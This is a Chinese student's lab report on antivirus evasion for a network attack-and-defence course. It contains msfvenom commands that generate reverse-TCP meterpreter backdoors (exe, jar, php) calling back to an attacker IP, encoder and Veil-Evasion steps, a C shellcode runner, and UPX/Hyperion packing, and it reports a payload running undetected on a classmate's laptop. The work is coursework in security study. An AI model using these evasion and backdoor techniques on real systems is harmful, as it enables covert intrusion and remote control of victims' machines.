2018-2019-2 20165234 《网络对抗技术》 Exp3 免杀原理与实践
实验三 免杀原理与实践
实验内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
- 2.通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
相关知识
免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
检测工具
VirusTotal、Virscan
- 集成了60多个商业杀毒软件的扫描引擎,可以上传免杀处理过的程序进行检测
- 网址:https://www.virustotal.com/、http://www.virscan.org/
基础问题
(1)杀软是如何检测出恶意代码的?
- 检测特征码:人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
- 启发式恶意软件检测:如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
- 基于行为检测:与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
(2)免杀是做什么?
- 免杀就是使得恶意软件不被杀毒软件查杀,二者能够共存。
(3)免杀的基本方法有哪些?
- 改变特征码
- 只有EXE:加壳,使其无法进行逆向,比对病毒库中的特征码
- 有shellcode:利用shellcode生成可执行文件
- 有源代码:用其他语言进行重写再编译
- 改变行为:改变通讯方式或操作模式
- 利用现有playload手工打造一个后门程序
实验步骤
(一)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
- 在实验二中,已经生成后门程序,命令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.138 LPORT= -f exe > XXX.exe
- 其中192.168.10.138 为虚拟机Linux的ip地址
(1)使用msf编码器生成后门程序及检测
- 首先使用VirusTotal、Virscan这两个网站对实验二中用msf命令生成的后门程序进行扫描。
- 将后门程序放到VirusTotal网站中扫描,结果如下:

- 将后门程序放到Virscan网站中扫描

- 如果文件名中有数字就会出现图中的错误,需要改名。改过名之后重新检测,结果如下:

VirusTotal有50款杀软报出了病毒,Virscan有29款杀软报出了病毒,因此不加处理的恶意代码能被绝大多数杀毒软件识别。
尝试用msf编码器对后门程序进行一次到多次的编码:
- 一次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.10.138 LPORT= -f exe > backdoor.exe
- 十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.10.138 LPORT= -f exe > backdoor.exe
- 其中-e为编码,-i为指定编码个数

- 如下图所示,一次编码之后似乎有点儿效果

- 下面试试十次编码

- 打脸了,那另一家网站呢

- 我收回前面说的话。。这是因为虽然进行多次编码,但恶意代码的特征码仍然存在,因此依旧能被绝大多数杀毒软件检测出来。由此可见,多次编码对免杀没有太大的效果。
(2)msfvenom生成jar等文件
- msfvenom生成.jar文件夹(Java后门程序):
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.10.138 lport= x> 20165234_backdoor_java.jar

- msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.138 lport= x> 20165234_backdoor.php

- 其他类型的文件可以参考msfvenom生成各类Payload命令
(3)veil-evasion
首先安装Veil-Evasion。Veil-Evasion已经在kali虚拟机里,如果没有可以进行在线安装: sudo apt-get install veil-evasion
(当然我属于后者,kali里没有的那种...)

- 输入指令 veil ,启用veil

- 输入 y 继续安装直至完成,在经过漫长的等待之后,出现了如下问题:

- 解决方法为输入指令 /usr/share/veil/config/setup.sh --force --silent ,再次经过漫长的等待之后,成功啦

- 接下来可以搞事情了,首先输入 use evasion 进入veil-evasion

- 输入命令use c/meterpreter/rev_tcp.py进入配置界面,用C语言重写meterperter
- 分别输入 set LHOST 192.168.10.138 、 set LPORT ,设置反弹连接IP及端口,此处IP是kali的IP地址

- 输入 generate 生成文件

- 输入playload文件名字:playload5234

- 到 /var/lib/veil/output/compiled 这个路径下找生成的exe文件

- 使用virscan对文件进行扫描

- 可见起到了一定的效果
emmm在这里插一段,后面几张截图的字体改变了,还有部分有重叠
这是由于当时我心血来潮想尝试设置新字体,结果误删了 wqy-microhei-fonts 、 wqy-zenhei-fonts 这两个文泉驿字体的ttf文件
尝试用指令 apt-get install fonts-wqy-microhei fonts-wqy-zenhei xfonts-wqy 重新安装、修改.conf文件的代码、重启kali虚拟机等方式均没有效果
所以我只能先从主机里拖了雅黑字体进入虚拟机的 /usr/share/fonts 目录下,并且在终端配置文件首选项,单元格间宽度距设为1.40
在这种情况下字体还是稍有重叠,可以说勉强达到了之前的效果吧...
只能先这样了,在实验结束之后我会继研究并且续解决这个问题的。
(4)利用shellcode编程
- 执行shellcode生成命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.138 LPORT= -f c
(二)Linux平台交叉编译Windows应用
(1)使用交叉编译
创建一个文件.c,然后将unsigned char buf[]赋值到其中,代码如下:
vim .c
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
......(替换shellcode)
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}

- 使用命令i686-w64-mingw32-g++ .c -o .exe编译.c文件为可执行文件
- 由于virscan不支持上传带数字的文件,我把它上传至 virus total 进行测试

- 复制到Win10主机里,不出所料gg了

(2)使用压缩壳(UPX)
- 将之前的半手工打造的shellcode复制并命名为 ljf.exe ,进行加壳 upx ljf.exe -o ljf_upxed.exe
- 上传至 virus total 进行测试
将其复制到Win10主机里,依然gg

(3)使用加密壳Hyperion
将上一个生成的文件拷贝到 /usr/share/windows-binaries/hyperion/ 目录中
进入目录 /usr/share/windows-binaries/hyperion/ 中
输入 wine hyperion.exe -v ljf_upxed.exe ljf_upxed_Hyperion.exe

- 将其复制到Win10主机里,尽管该做的步骤都做了,不得不说360反应速度的确很快...

(四)将后门程序传只win7虚拟机中,能够成功获得shell

(三)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
用同学的联想笔记本电脑进行实测,没有被杀软发现。


2018-2019-2 20165234 《网络对抗技术》 Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- 《.NET和Java之争》 读后感
原文地址:https://www.cnblogs.com/adalovelacer/p/dotnet-vs-java.html 这是博客园被推荐上首页的文章,本着好学的心态,点进去拜读... 我也不清 ...
- selenium跳过webdriver检测并爬取淘宝我已购买的宝贝数据
简介 上一个博文已经讲述了如何使用selenium跳过webdriver检测并爬取天猫商品数据,所以在此不再详细讲,有需要思路的可以查看另外一篇博文. 源代码 # -*- coding: utf-8 ...
- BigDecimal比较大小,BigDecimal判断是否为0
原文:https://blog.csdn.net/qq_34926773/article/details/83419004 BigDecimal类型的数据,需要比较大小:声明BigDescimal: ...
- golang文件操作
一.读写文件 1.读文件操作 os.File 封装所有文件相关操作 例子: package main import ( "fmt" "os" "io/ ...
- kafka依赖zookeeper原因解析及应用场景
kafka简介: kafka是一个发布订阅消息系统,由topic区分消息种类,每个topic中可以有多个partition,每个kafka集群有一个多个broker服务器组成,producer可以发布 ...
- django rest framework serializers
django rest framework serializers序列化 serializers是将复杂的数据结构变成json或者xml这个格式的 serializers有以下几个作用:- 将qu ...
- nginx的限流问题
nginx的限流问题 http{ limit_req_zone $binary_remote_addr zone=req_one:10m rate=100r/s;server{ listen 8080 ...
- web自动化框架如何设计
web自动化框架如何设计po模式总结: 1. 页面对象模型:当页面特别多的时候,代码更好的维护 2. Po是pageObject设计模式,用来管理和维护一组web元素的对象库 3. 每一个page c ...
- js打开新窗口,打开新窗口屏蔽工具栏和地址栏,窗口按规定大小显示
opener=null; window.open ("http://baidu.com", "newwindow", "height=500, wid ...
- EXCEL计算根据当前时间和身份证号计算准确年龄
假设身份证号在A2单元格 =IF(MONTH(NOW())<MONTH(DATE(MID(A2,7,4),MID(A2,11,2),MID(A2,13,2))),INT(YEAR(NOW())- ...


